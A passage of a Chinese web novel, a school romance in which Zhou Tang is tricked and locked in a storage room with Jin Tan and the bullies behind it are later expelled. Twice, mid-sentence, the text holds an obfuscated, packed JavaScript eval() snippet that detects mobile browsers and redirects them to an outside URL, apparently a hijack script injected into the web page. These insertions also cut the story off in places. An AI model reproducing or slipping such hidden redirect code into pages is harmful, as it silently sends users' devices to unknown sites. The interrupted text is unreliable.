美人嘛,喜欢就多看两眼。 无伤大雅。 靳谈没回头,面无表情道:“你无不无聊?还是脑子里只有这点事儿?” “你要这么说的话那肯定不是啊,女孩算一个,篮球也算一个。”刚说完,邵弋青就吹了声明快的口哨音,义正言辞地替校篮球队的自己正名。 靳谈不再浪费时间搭理他。 邵弋青追上去,话没停。 “哥们儿,我说实话,你有时候对女孩是不是冷淡得有点过分了,要不是我和你认识时间这么久,一直相信你是板板正正的——” “算了,我不说了,明天得让谁打听一下那女孩哪个班的。” 邵弋青自顾自地说着。 走到大门口,靳谈脚步停顿,回头往高一年级的教学楼那里看了一眼。 蓦然,他脑海中画面一闪。 似乎是想起了什么。 7. 储藏室 周棠没有在教学楼底停留太长时间。 她是知道的,许逢滢的意思不是要责怪她,而是让她不要参与那些乱七八糟的事情,有言“君子不立危墙之下”的深意。 毕竟凌乱的事情经历多了,再纯粹,再优秀的学生也会或多或少地被外界影响。 校门口。 “陵和市高级中学”这几个字镶嵌在砖墙上,是流畅的行书体,烫金凸起的工艺格外醒目。 叶楚宜背着炫银色的漆皮双肩包,双脚并拢站着,显得白色袜子勒住的小腿肚更纤细匀称了。 她的皮肤有些过分白净,如同刚剥壳的荔枝,透着鲜活的青春气息。 她默默等在右侧的步行小道上,刚有学生会的好友路过,问她在等谁。 她给出的答复模棱两可。 实际上,她真正想等的人是周棠。 大约是少女间说不清道不明的攀比心作祟,她有点儿想亲眼目睹周棠挨骂后的落寞模样。 因为她懂得自己是目标明确的,特别要强的,以及事事都想争先的优绩主义者——认为学习只是过程,考试才是目的,以考试为目的进行各方面的学习。 所以她积极当选语文课代表,报名力争作文比赛的一等奖,竞选主席台前国旗仪式下的优等生讲话。 无一例外。 最终奖项都曾刻过她的名字。 她本来以为拥有这些就足够了,足够获得父母及亲朋好友的不吝嘉奖,让他们在酒局聚会上增长脸面,变成小辈们奉为榜样的对象。 她也的的确确做到了一部分。 转变发生在两个月前的家长会,来帮她开会的是从公司签完单才将将赶到的父亲。 悄然推开后门走进去。 他颔首,向别的家长扬手示意。 恰逢讲台前,班主任在转述许逢滢的话夸奖她。 说她这次的作文内容描写得很有画面感,最后结尾还能够用简短的白描手法做到升华主题。 称得上是一篇优秀的范文了。 父亲在座位上认真听着,却在当晚回家后把她喊去书房里罚站。 他甚至像是命令员工一样对待她,过于理性分析地说:“我看了你们学校这次的优秀作文报名单,和上次报名作文比赛的那些同学基本上没什么差别,但有一位同学我上次没见过,五班的周棠。” “她没有参加过任何一项你参加过的作文比赛,也许她都没有完全经历过我花钱给你请的那些名师赛前培训,楚宜啊,你不应该觉得自己做得好了就沾沾自喜,可能真正能和你一较高下的对手压根没有出席。” “这是你们之间的差距,你能明白吗?” “可我和你妈妈不需要看到这些差距,我们应该看向结果,好的结果。” “你在房间里思过吧,时间结束后你再下楼,我让凤姨给你准备了你喜欢的焦糖布丁。” 过了几秒钟之后,房间彻底安静下来,只有门被从外面关上之后响起的轻微锁扣声。 …… 叶楚宜看了一眼学校名称,口腔里泛起苦意,她从来也没喜欢过焦糖布丁那样发腻的甜点。 她轻轻攥紧掌心,有一口气堵在喉头处,忽然觉得自己这个瞬间像是阴暗角落里沾水蔓延的菌丝,呼吸一下,潮湿的气息里裹满了腐朽的味道。 那种味道是见不得光的。 叶楚宜没有在校门口等到周棠。 ** 周棠离开教学楼,快走到行政楼的时候,有同学在她身后喊她的名字。 “周棠。” 周棠回过头,看到一位大步走过来的男生,个头中等,有点瘦,头发剃得很利落。 他身上的磁场不太对劲,周棠偷偷拉紧了书包带,假装不是很刻意地避开他伸过来的胳膊。 “你就是纪桑南的同桌吧?”男生开门见山道。 周棠点点头,“嗯。” 男生接着下文,“我刚从操场那边过来,她让我来叫你,说是有事情想要和你说。” 周棠并没有放松警惕,“她怎么知道我在这里?” “她说,好像是老师找你谈话,感觉你应该还没走远,就让我先过来叫你。” “那她为什么不自己过来?” 周棠反应迅速。 “哎……”男生略尴尬地挠了挠头,语气支支吾吾的,“她,她最近生理期,校服裙不小心弄脏了,没办法走,正好遇到她在那边找人帮忙,我路过,她也是赌一赌你是不是还在学校里。” 周棠半信半疑,男生主动上前领路。 “走吧,我带你过去找她。” 一路走到操场边,周棠都与男生保持着适当的距离,放学后的操场空无一人,夜色也有了降下来的趋势,那股心慌的闷意也多了起来。 又走了几步路,周棠忍不住地问他:“纪桑南真的在这里吗?” 此时,男生哼笑了一声,睁大的眼睛里露出了不属于他这个年龄的邪气。 “周棠,你知道你惹的是谁吗?” 话音刚落,“砰”地一声闷响。 随后,门缝里的金属合页发出吱呀声,紧接着是门外的链条型宽锁被男生几下操作拉紧。 响起铮铮摩擦声。 周棠只察觉到后背钝痛,下一秒,身体被那样的力道推进这间操场旁边几乎废弃的储藏室。 各种念头在脑海里反复过了一遍,周棠理清楚前因后果—— 纪桑南并不在这里,她被骗了。 这个男生应该认识谷今璇。 更准确一点。 这是谷今璇特意找过来对付她的团体中的某个小混混。 检查完严丝合缝的门锁,男生拍了拍手掌上的泥灰痕迹,欣赏了几秒后,他转身走远。 待走到操场外的一棵大树旁,男生从口袋里摸出一盒红色包装的烟,用打火机点燃,塞进嘴里抽了几口。 红光烧到烟屁股时,他往水泥地上啐了一口唾沫,心里不屑地想着:还以为谷今璇让他找回场子的是什么了不得的人物,原来只是个不值一提的女生。 除了那张脸是有一点漂亮之外。 男生拿出手机,给谷今璇发送了一条信息。 [事办完了,年级里的小角色你也要花这种大价钱?] 谷今璇正在盯着手机消息,秒回他:[你不用多问,费用转给你了,你那边查收一下。] 男生切换页面,滑到银行账户,看到五位数的进账,又切回去,回复她一个:[行,收到了。] 抽完这根烟,男生转头,最后看了一眼储藏室紧闭的大门,随即把烟头捻在路边的垃圾桶上面。 储藏室年久失修,要不是这次被推进来,周棠都不相信陵高还有这种阴沉到四周嘶嘶渗冷气的地方。 她嫌弃地瞥了一眼掉漆严重的门,借着月光,她伸手摸向锁链,风吹得冰冰凉凉的。 锁得很紧。 她没有钥匙,也没有工具,肯定是打不开的。 周棠晃着锁链弄了好几下,不得已想要放开,手才松,她身后不远的地方悠悠地传过来一句话。 “别费劲了,省省力气。” 少年的嗓音在黑暗中显得干净清晰。 周棠捂着嘴小声叫了一下,心有余悸地朝后靠。 “谁,你和刚才的男生是一起的?” 她强装着镇定问他。 里面的男生不置可否地笑出声,声线淡淡的,莫名让周棠把他与刚才那个小混混划分开来。 不是一起的? “还以为你够聪明。”男生的声音再次传过来。 周棠听到了他动作变换的脚步声,由远及近,他正向她的位置走过来。 黑暗的空间里寂静又压抑,因此逐渐放大了他行动的声音。 周棠心底的慌乱不是假的,心跳剧烈得她仿佛快要听出一点点节奏感。 她身后没有退路,她却还在往后缩。 猝不及防地。 手腕被一步步走过来的男生瞬间拽住。 “别再动了,你背后那边有几圈生锈的铁丝。” 隔了很久,周棠以为时间凝固了很久,其实并没有,再之后她的感官渐渐回笼。 手腕上是男生凉津津的掌骨,他收紧又放松的指节也是凉的。 不远处飘过来一阵自然的清香,有点儿像梅雨季节被淋湿的松林,夹杂着一丝丝烟草的气息,微醺着的,闻着让人觉得沉稳且安心。 储藏室唯一的光源是门缝里照进来的月亮清辉,流淌在少年的发梢与额角,把他的轮廓描摹分明,也让周棠看清楚了眼前的人是谁。 她自己都没有意识到,确认是他的那一刹那,她悬着的心终于平安落了地。 “你怎么在这里?” “你来这里干嘛?” 两道声音碰巧在同一时间响起,靳谈问完便没再说话,他在等站在眼前的周棠讲清缘由。 周棠的手垂落着放在腿边,她略略紧张地揪住了衣角,轻声解释说:“刚才那个男生骗了我,是他从后面推我进来的。” “嗯,我只是想找个清净地方抽根烟。” 靳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那一秒,周棠觉得他好像是话里有话,她后知后觉地回忆起他的“锱铢必较”。 ——“好,算你撞到我抵消。” 所以,这次应该变成“嗯,你又欠了我,得还。” 靳谈说的这个人指的是帮他去网球室取落下的球拍的邵弋青。 邵弋青在五分钟的时间内赶到,弯腰捡起树林里的一颗石头,找准角度砸在锁链上,哐当几下,锁扣弯曲变形,他来回扯了扯,老旧的门应声打开。 他率先看到的人是更靠近门边的周棠,他的眼睛亮亮的,“这不是……这不是巧了吗?你也在这儿啊,你是哪个班的来着?” 刚说完,邵弋青咂摸出了暧昧的蛛丝马迹,眼神在她和靳谈身上扫过去。 “你俩这是……要干嘛呢?” 靳谈没理他,周棠也没说话,她不想把刚才那些解释的话再从头说一遍。 三个人走在路上,邵弋青对周棠到底是哪个班的这件事还没放弃,周棠耐不住他嗡嗡嗡地磨,快走到校门口时终于妥协了。 “5班,在你们班楼上。” “原来你知道我?”邵弋青惊喜道。 虽然弄不明白他到底在高兴些什么,但周棠还是顺着他的话点点头。 靳谈站在后面一言不发,冷眼旁观着前头那两个人莫名其妙地越走越近。 连地面上的影子都有了重叠的部分。 她稍微矮一点儿,与邵弋青的肩膀高低看起来很和谐,反观邵弋青,他的脚步轻盈得几乎要蹦起来了。 靳谈无声地看着,迈出门时忽然想叫住周棠,他这么想着,便也这么做了。 “喂,这是你的东西吧,上次掉了。” 他说话的语调有些轻,周棠还是听到了。 她回过头,看见他的眼睛。 然后视线下移,他的掌心里多出了一根黑色头绳,尾部挂着她可惜了好几天的小鱼坠子。 那回落在公交车上。 被他捡到了。 靳谈伸手递出去,周棠接过来,说了一声谢谢,然后感觉到他的指尖若有似无地滑过手心。 和储藏室内同样凉的温度。 她的手不禁颤了下。 邵弋青神经大条地走在前面,丝毫没有注意到身后的两个人在干什么。 与此同时,马路对面的二手书店里。 叶楚宜双手抱着挑选好的几本教辅资料和课外练习,付完钱走出来,她回到步行小道,恰好见证了一场在黑夜中的秘密交换。 那个年级里备受追捧的靳谈。 似乎和周棠很熟络。 8. 成绩单 晚上六点三十,周棠登上公交车,乘客不多,她往后走,扶着栏杆坐到了一个相对安静的位置。 邵弋青的目光追随着亮红发光的车尾灯,直到车牌号再也看不见,他才扭过头碰了一下靳谈,“吃饭去啊,晚上我没吃饱,食堂太腻了,我现在都能知道那些菜分别是后厨哪位阿姨掌勺的,我厉不厉害?” 靳谈低着头,在看手机。 邵弋青当他默认了,也拿出手机,不过没在玩,是要发消息,把吃饭的具体地址和列表里的联系人传达到位,点进打车软件叫了辆专车。 屏幕上显示车距离他们还有两公里左右,中间有一段路堵车,约十分钟的样子。 邵弋青揣好手机,靳谈仍然低着头,没有说任何拒绝的话,那看来就是可以的意思。 确定好这些,邵弋青又朝着四周随便看了看,猜测他们的车大概是在前面的红绿灯路口等待掉头。 紧接着,他的视线突然停在了白色斑马线中间。 他看到了熟悉的人。 叶楚宜抱着一套厚重的书本向前走,顺直的黑发被风吹得飘扬起来,因着身前堆叠着的一摞重量,她的腕骨露出袖口,也让她整个人的脊背看上去瘦弱单薄。 她同样也看着这个方向。 邵弋青难得收敛住性格中的大大咧咧,循着她的视线找到她最终落定的点位在哪儿。 是他身旁的靳谈。 说来也奇怪,明明他和靳谈所站的位置之间的距离并不远,大差不差的,甚至是紧挨着的。 当下,他就是能够辨别得一清二楚。 叶楚宜绝对不是在看他。 而是紧盯着靳谈。 又过去几分钟,打的专车准时抵达,平稳地停在两人面前,与人行道隔绝开来。 邵弋青眼皮动了动,自然地收回眼神。 时间正好卡到七点一刻,坐落在市区的一家闹中取静的中式餐厅被服务生从里面推开了门。 邵弋青是这里的常客。 他在校队的训练量不小,又经常外出参加国内外高中生的篮球联赛,所以对自己的身体素质有比较高的要求,饮食方面他更喜欢清淡的口味。 门边招待的服务生负责领着他们两位去乘电梯,走进楼上的包厢里。 大理石圆桌前,餐盘与花茶已经备好。 统一着装的服务生分别给他们俩送上热毛巾,礼貌询问还有什么需要,得到回应后服务生走出门,门刚关上的那一秒,和身边的同伴感叹一句。 “还是那几位,又过来了,今天值班真幸运啊,他们依旧养眼得紧,各有各的特点。” “对了,有一个还没到呢,他应该也是要过来的吧,我跟你说他也完完全全长在我的审美点上了。” 同事们私底下的聊天直白坦荡,在转角遇到人的时候自觉噤声。 良久,包厢的门再次被人推开,桌前点的菜色刚好上到了一道清润的广式菌菇肉汤。 少年从外面走进来,裤腰间坠着的一圈装饰银链叮当作响,送餐的服务生极有眼力地帮他带上门,却比平时放慢了速度,悄悄偷看了他几眼。 梁敬免的嗓音如同喇叭声那样向外扩,他踏着大步进来,然后反手撑着桌面,坐到椅子里。 “我去。” 本来他要脱口而出的是脏话,话到嘴边又瞟到靳谈的脸,另一个四声措辞堪堪止住收回去。 “多新鲜呐。” “你现在连靳厘姐的短信都不闻不问啦?一个人住就是不一样啊,自由度满分!” “也不知道我爸什么时候也能答应我这样。” 说完,梁敬免挑挑眉,开始观察靳谈,同时把手机推过去,伸出食指点了点屏幕。 他继续说:“靳厘姐找你已经找到我这里来了,我瞒不了什么的,和她交代了一部分,说你和邵弋青在一起呢,不过她没有邵弋青的联系方式。” 靳谈拿起他的手机,没看,原路返回地扔到他怀里,像是毫无兴趣。 “先吃饭。”邵弋青觉得靳谈今晚的状态不怎么好,嬉皮笑脸地起身盛了一碗汤,对着碗沿吹一口气,端起来咕噜噜喝着。 末了,邵弋青说:“我刚加上靳厘姐了。” 靳谈还是没出声。 饭毕,一行人下楼。邵弋青单独叫了车回去,走之前和他们俩说再见。 梁敬免玩惯了,小学毕业后就直接被转去了国际学校,上了高中才有机会再转去和张执同校,他爸管他吃穿用度这几个方面都不严格。 唯独一件事,他软磨硬泡了大半年,他爸也坚决不动摇——晚上出行必须要司机送回家。 靳谈顺理成章地上了送他过来的车,两家以前住得很近,但梁敬免知道他现在有自己的住房,和驾驶座的商叔招呼了一声:“得改道,送他去新湾别墅。” “好的。” 一上车,靳谈靠坐在椅子中,身体懒懒地躺着,眉心皱起,散出一身的疲倦和遮掩不了的戾气。 窗外变幻的光源在他的侧脸铺陈,以至于他的眼眸被照得忽明忽暗的,因为光线并不刺眼,所以他也没有调整姿势,就那么一个仰躺的姿势坐了一路。 等车快到家门口时,靳谈张张嘴,喉咙里嘶哑艰难地发出了一点儿声音。 “我到了,商叔叔,你们待会回去注意安全。” 商叔年纪不大,面容是不惑之年的和蔼慈祥,他颔首微笑道:“靳家小少爷客气了,您和我们家阿免在我心里都是同样的。” “?” 梁敬免闻声从座位上爬起来,手肘搭在侧边,拖着尾音,语气无奈地质疑起来。 “商叔,你上次可不是这么说的,你在我爸面前明明说我夜里边总往外跑。” “你不知道,我那天听了我爸好一顿训呢。” 他看似委屈,实则想和商叔撒撒娇,以期换来商叔对他下一次溜出去玩的纵容。 关上门之前,靳谈对着商叔笑了下,抬脚要走,身后梁敬免的声音叫住他。 “靳哥,你手机落这儿了,你这是怎么了?整个晚上失魂落魄的。”梁敬免捡起坐垫上的黑色手机,打开车窗递出去,“是不是厘姐说你啦?” 靳谈接过后放进裤兜里,无事般摇摇头,低低的嗓音快要泄露了他无限放大的情绪。 “我没事,你快点回吧。” “你真没……” “真没有。”靳谈打断梁敬免刨根问底的话。 听他这样说,梁敬免也觉得自己是过度担忧,靳厘姐肯定不舍得凶他。 “行,起风了,你上楼去吧。” 靳谈转身走到电梯前。 半包围式样的建筑门口,梁敬免看得很清晰,屋檐下靳谈的背影颀长挺拔,腰际线条利落干脆,只是周身透着一点儿难以言明的落寞。 不一会儿,关上的车窗挡住了梁敬免的视野。 他打小就是个自恋又臭屁的人,但不得不承认,哪怕是有些惆怅、低落的他靳哥。 也确确实实,挺帅的。 ** 伴随着夏季的一场暴雨,空气里逐渐染上了盛夏的热意,角落里的小橘猫开始寻找能够歇凉的绿荫,树梢的蝉鸣也有了大范围喧闹的迹象。 端午节到了,短暂的假期过后,同学们成群结队地重返校园。 周棠背着书包,白色板鞋踩在楼梯上,右手边是路口偶遇的纪桑南,正低着头嗅她洗干净的校服。 “味道好特别啊,用的什么牌子的洗衣液?”纪桑南抬起头,问她。 周棠说:“我妈随便买的吧,我也不知道,她上次出差回来之后就换了。” 纪桑南歪着脑袋,带着少女的天真烂漫,模样可爱,“那你帮忙问问阿姨呗。” “好,等她有空我替你问一下,她最近又忙起来了,说是到暑假前都很忙。” 还没走到班级门,楼道里响起窃窃私语,那几个说话的女生经过她们俩身边。 “确定了,说是那两个人不会再来学校了。” “教导主任电话里说的,违规违纪,另一个要更严重点儿,好像是半夜逗留在教学楼不回家,发生了欺负低年级同学的行为,当晚值班保安没有查到。” “那是谁举报的呢?” “这个就不清楚了,匿名的吧,就算不是,校方应该也不会对我们公布。” “暂且称他或者她为正义使者!”那几个人边说,边手挽着手地奔向楼下的公告栏。 转到楼梯拐角,周棠停下脚步。 她从楼梯间的窗户探身往外看,公告栏前聚集了很多同学,断断续续几句议论中,她总结出两件事。 第一件事—— 孙其浩的处分结果出来了,后来家长觉得丢脸,已经让老师配合着帮他把转学手续办完了。 还有一件事,高三某个班的学长被全校通报批评,可能存在校园暴力倾向。 虽然这次没有记大过,但是和家长取得联系后,劝说他们带孩子到市里权威的医疗机构进行心理健康检查,暂时无法正常到学校报到。 回到教室,周棠放下书包。 纪桑南从零食袋里拿出一小盒巧克力曲奇饼干吃,吃完,她擦着嘴角的碎屑问:“周棠,那天晚上许老师找你说的话,你支支吾吾地也没讲清楚,我都不知道具体情况,不会是和他们的事情有关吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992792|193798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 提到较为敏感的名字,纪桑南轻声细语地用“他们”二字来代替,眼睛直直望着周棠。 “不是我举报的。”周棠伸手在她的零食盒里拈起一块饼干,咬在齿间,摇头说。 “至于是谁,那我就不知道了。” 话音刚落,周棠忽然想起在储藏室那天晚上,靳谈和她说的那句没头没尾的话:他们不会再来了。 所以,这些事情的处理结果。 是因为他吗? 下午有一节自习课,上课之前周棠带着借书卡去图书馆借了一本英文原版书,拿着书走的时候在三楼走廊碰到了邵弋青,他和他们班的几个人走在一起。 “是你啊。”迎面而来,邵弋青站在人群中,大大方方地和她打招呼。 同时,身边有同学投来艳羡的目光,关系近的朋友笑着打趣他:“弋青,你这又是在哪里认识的姑娘,以前怎么没见过,哪个班的啊?” 邵弋青抬手拍了那人一下,“别瞎说,女孩面前你就别口不择言了。” 那人面上带笑,连说好几个,“懂懂懂。” “我们先去楼下等你啊。” “行。” 见过几次,哪怕没有那么熟,但周棠不是扭捏的性格,她礼貌点点头,“嗯,我来借书。” “我们来看球赛直播。”邵弋青简短带过,沉默一会儿,又抬眼问她:“年级通报你看了?” 周棠:“假期后的大新闻,听说了。” 邵弋青:“那你不好奇是谁吗?” 周棠瞬间明白了,心里的那点微弱怀疑在此刻如同下了定论一样,有什么感觉强烈而来。 “朋友在等。”邵弋青耸耸肩,“走了。” 之后的一整节自习课,周棠等了好几天才预约借来的原版书只看了十多页,再想静心看的时候,书上的文字莫名变成了长翅膀的蝴蝶,飞来飞去的。 放学后,周棠用急需上厕所的由头避开了纪桑南,脚步走着走着就绕到了高一(1)班的门口,教室里的同学快要走完了,只剩下几名要打扫卫生的值日生。 有人走出来,书包拉链没拉好,一张数学练习卷掉在刚拖好的瓷砖上,四角因此洇湿了。 恰好飘到周棠脚边的不远处,她弯下腰,帮忙捡起来,递回去。 女生微笑着道谢,热心肠地询问她:“同学,你是不是要找人?” “我……” 周棠一时没想好要怎么说。 谁知道女生忽然恍然大悟般“哦”了一声,自顾自地说起来,“你是来找靳谈的吧,最近很多人都来找他,不过他没来,好几天都没来了,应该是请了假。” “不……我……”周棠下意识想否认。 女生见怪不怪的,冲她挥挥手,“我先走啦,你也早点走吧,不过要提醒你一句哦,不要往他书桌里塞东西,如果他来了,是会全部清理掉的。” “……” 周棠没有机会解释。 那天过去,直到临近期末考试前两天,周棠才从日渐减少的校园投稿里发现靳谈还没有来学校,又从楼道的几句八卦中了解到他好像是请的长假。 没多久,期末考试结束,同学们领完了成绩单,宣布无法重复的高一生活彻底告一段落。 这期间发生了许多事,其中被广泛关注的有:邵弋青所在的篮球校队赢下了省比赛亚军,得到冠军的是陵和附中;校游泳馆滚动的大屏幕上第一名换了人,于然落在第二,小道消息传言是她和她们班的李复也在较劲;叶楚宜的一张生活照被曝光,投放在了校园女神评比的活动上。 当天拿到成绩后,周棠就再次被许逢滢叫进了办公室,她满意地夸了她几句,又说:“上次对你说的话有些重了,他们的处理结果你也看到了,我承认错误,我不应该偏听偏信,你是个好孩子,周棠。” “谢谢许老师。”周棠说。 “再接再厉!”她们聊了有半个小时,许逢滢看看时间准备放她走。 出了办公室,周棠在校园里待了一会儿,到足球场那边漫无目的地散散步,然后不知不觉地停在了游泳馆门口。 她看到了她自己上升的名次,反应过来是因为有一个人的名字跌出了排行榜。 她对他许久没出现终于有了实感。 过去一个月了。 上周末,纪桑南给她发消息:[1班好多同学都说靳谈不来学校了。] [班主任也对他的事情讳莫如深的。] [好像是他爸爸的关系。] 周棠回了她两个字:[也许。] 也许。不确定。 不确定他还会不会来学校。